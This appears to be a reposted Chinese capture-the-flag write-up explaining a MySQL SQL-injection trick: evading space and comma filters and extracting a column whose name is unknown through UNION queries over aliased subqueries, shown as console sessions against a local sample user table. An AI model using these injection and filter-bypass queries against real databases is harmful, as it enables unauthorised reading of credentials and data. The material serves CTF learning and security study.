MySQL如何巧妙的绕过未知字段名详解
前言
本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:
实现思路
题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;
存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:
思想就是获取flag,让其在已知字段名下出现;
示例代码:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
原文链接:http://0cx.cc/some_tips_with_mysql.jspx
(资源库 www.zyku.net)
您可能感兴趣的文章
- 02-22一加9r通知消息自动亮屏设置教程
- 02-10Python基础学习之奇异的GUI对话框
- 01-12喵见小说-喵见小说应用软件功能介绍
- 02-01opporeno5pro开启来电闪光灯教程
- 11-02红米note11小爱课程表在哪里
- 01-12健康乌鲁木齐-健康乌鲁木齐应用软件功
- 02-17Linux中基本正则表达式
- 01-12俏影视频剪辑-俏影视频剪辑应用软件功
- 06-29Asp.Net程序目录下文件夹或文件操作导
- 04-16帝国cms修改跳转提示框样式以及跳转时
- 12-29氚云办公-氚云办公应用软件功能介绍
- 09-24微视任务中心如何进入
- 02-14华为手机流量管理监控提醒设置教程
- 01-11极速文件扫描-极速文件扫描应用软件功
- 09-11opporeno6怎么关闭夜间模式
- 03-25vivoy31s字体大小调整方法
- 12-30荣耀50通话录音怎么取消
- 09-15美团在哪买环球影城门票
- 01-24wdCP v3.0版本各种小工具集的使用方法
- 12-28星图相机-星图相机应用软件功能介绍
最近更新
阅读排行
猜你喜欢
- 03-28华为nova8设置虚拟导航键方法
- 01-12一点拓客-一点拓客应用软件功能介绍
- 04-24Python strip lstrip rstrip使用方法
- 10-20苹果13怎样启用一键锁屏
- 03-01oppoencoair设置双击耳机暂停方法
- 02-09华为nova8pro手机像素信息查看方法
- 06-20帝国网站管理系统(EmpireCMS)使用手册
- 01-11中公考研学员端-中公考研学员端应用软
- 03-17鸿蒙系统限制广告跟踪方法
- 03-23vivos7e通话开启自动录音教程